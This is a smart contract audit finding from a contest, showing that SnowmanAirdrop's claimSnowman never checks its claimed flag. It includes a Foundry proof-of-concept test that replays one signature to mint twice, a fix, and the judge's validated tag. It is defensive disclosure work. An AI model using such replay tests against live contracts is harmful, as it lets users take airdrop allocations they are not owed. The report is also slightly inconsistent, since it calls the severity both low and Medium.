Snowman Merkle Airdrop
AI First Flight #10
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EXP
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Submission Details
Severity: low
Valid

`SnowmanAirdrop::claimSnowman` never checks `s_hasClaimedSnowman`, enabling repeat claims of the same allocation

furkanumut

Root + Impact

Description

The airdrop is designed as one claim per whitelisted address, tracked by the s_hasClaimedSnowman mapping. However, the mapping is only ever written — no code path reads it — so a whitelisted address that re-acquires its leaf amount of Snow can claim again, and the identical (v, r, s) from the first claim authorizes every replay because the signed struct binds only (receiver, amount).

// File: src/SnowmanAirdrop.sol — Lines 69–99
function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s)
external nonReentrant
{
// zero-address, balance, signature and Merkle-proof checks ...
@> // missing: if (s_hasClaimedSnowman[receiver]) revert SA__AlreadyClaimed();
i_snow.safeTransferFrom(receiver, address(this), amount);
@> s_hasClaimedSnowman[receiver] = true; // written here, never read anywhere
emit SnowmanClaimedSuccessfully(receiver, amount);
i_snowman.mintSnowman(receiver, amount);
}

The claim pulls the receiver's full Snow balance, so a second call normally reverts on the zero-balance check. But the free earnSnow (or buySnow) restores the balance to exactly the leaf amount, at which point the recomputed digest equals the original signed digest and the original proof verifies again. The flag that exists precisely to stop this is never consulted, so the one-per-address invariant is unenforced.

Risk

Likelihood:

  • Any whitelisted user who re-acquires their exact leaf amount (one free weekly earn, or a purchase) can claim again.

  • Relayers can replay the user's original calldata — no fresh signature is needed because the digest is identical.

Impact:

  • Every whitelisted address can mint its NFT allocation multiple times, breaking the airdrop's one-claim-per-address distribution policy.

  • Repeatability is bounded per iteration by the Snow re-acquisition cost/time (one free earn per week, or s_buyFee × amount — 5 ETH per NFT at deploy parameters), keeping this at Medium rather than High.

Proof of Concept

function test_PoC_DoubleClaimSameSignature() public {
// first claim (baseline, mirrors the contest's own test)
vm.prank(alice);
snow.approve(address(airdrop), 1);
bytes32 alDigest = airdrop.getMessageHash(alice);
(uint8 alV, bytes32 alR, bytes32 alS) = vm.sign(alKey, alDigest);
vm.prank(satoshi);
airdrop.claimSnowman(alice, AL_PROOF, alV, alR, alS);
assertEq(nft.balanceOf(alice), 1);
assertTrue(airdrop.getClaimStatus(alice)); // flag is WRITTEN...
​
// alice re-acquires the leaf amount (1 free earn)
vm.warp(block.timestamp + 1 weeks);
vm.prank(alice);
snow.earnSnow();
​
// second claim with the IDENTICAL (v,r,s) and proof — no revert despite the flag
vm.prank(alice);
snow.approve(address(airdrop), 1);
vm.prank(satoshi);
airdrop.claimSnowman(alice, AL_PROOF, alV, alR, alS);
​
assertEq(nft.balanceOf(alice), 2); // claimed twice
}

Run: add the test to test/TestSnowmanAirdrop.t.sol (setup provides alice/alKey/satoshi/AL_PROOF), then forge test --match-test test_PoC_DoubleClaimSameSignature -vv

Output (actual run):

[PASS] test_PoC_DoubleClaimSameSignature() (gas: 346558)
Logs:
FC-0002: alice NFT count after reusing one signature: 2

Recommended Mitigation

Enforce the claimed flag before any effects.

function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s)
external nonReentrant
{
if (receiver == address(0)) { revert SA__ZeroAddress(); }
+ if (s_hasClaimedSnowman[receiver]) { revert SA__AlreadyClaimed(); }
if (i_snow.balanceOf(receiver) == 0) { revert SA__ZeroAmount(); }

Additionally, consider binding a consumed per-receiver nonce into the signed SnowmanClaim struct so stale signatures cannot be reused.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 19 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[L-01] Missing Claim Status Check Allows Multiple Claims in SnowmanAirdrop.sol::claimSnowman

# Root + Impact   **Root:** The [`claimSnowman`](https://github.com/CodeHawks-Contests/2025-06-snowman-merkle-airdrop/blob/b63f391444e69240f176a14a577c78cb85e4cf71/src/SnowmanAirdrop.sol#L44) function updates `s_hasClaimedSnowman[receiver] = true` but never checks if the user has already claimed before processing the claim, allowing users to claim multiple times if they acquire more Snow tokens. **Impact:** Users can bypass the intended one-time airdrop limit by claiming, acquiring more Snow tokens, and claiming again, breaking the airdrop distribution model and allowing unlimited NFT minting for eligible users. ## Description * **Normal Behavior:** Airdrop mechanisms should enforce one claim per eligible user to ensure fair distribution and prevent abuse of the reward system. * **Specific Issue:** The function sets the claim status to true after processing but never validates if `s_hasClaimedSnowman[receiver]` is already true at the beginning, allowing users to claim multiple times as long as they have Snow tokens and valid proofs. ## Risk **Likelihood**: Medium * Users need to acquire additional Snow tokens between claims, which requires time and effort * Users must maintain their merkle proof validity across multiple claims * Attack requires understanding of the missing validation check **Impact**: High * **Airdrop Abuse**: Users can claim far more NFTs than intended by the distribution mechanism * **Unfair Distribution**: Some users receive multiple rewards while others may receive none * **Economic Manipulation**: Breaks the intended scarcity and distribution model of the NFT collection ## Proof of Concept Add the following test to TestSnowMan.t.sol  ```Solidity function testMultipleClaimsAllowed() public { // Alice claims her first NFT vm.prank(alice); snow.approve(address(airdrop), 1); bytes32 aliceDigest = airdrop.getMessageHash(alice); (uint8 v, bytes32 r, bytes32 s) = vm.sign(alKey, aliceDigest); vm.prank(alice); airdrop.claimSnowman(alice, AL_PROOF, v, r, s); assert(nft.balanceOf(alice) == 1); assert(airdrop.getClaimStatus(alice) == true); // Alice acquires more Snow tokens (wait for timer and earn again) vm.warp(block.timestamp + 1 weeks); vm.prank(alice); snow.earnSnow(); // Alice can claim AGAIN with new Snow tokens! vm.prank(alice); snow.approve(address(airdrop), 1); bytes32 aliceDigest2 = airdrop.getMessageHash(alice); (uint8 v2, bytes32 r2, bytes32 s2) = vm.sign(alKey, aliceDigest2); vm.prank(alice); airdrop.claimSnowman(alice, AL_PROOF, v2, r2, s2); // Second claim succeeds! assert(nft.balanceOf(alice) == 2); // Alice now has 2 NFTs } ``` ## Recommended Mitigation **Add a claim status check at the beginning of the function** to prevent users from claiming multiple times. ```diff // Add new error + error SA__AlreadyClaimed(); function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s) external nonReentrant { + if (s_hasClaimedSnowman[receiver]) { + revert SA__AlreadyClaimed(); + } + if (receiver == address(0)) { revert SA__ZeroAddress(); } // Rest of function logic... s_hasClaimedSnowman[receiver] = true; } ```

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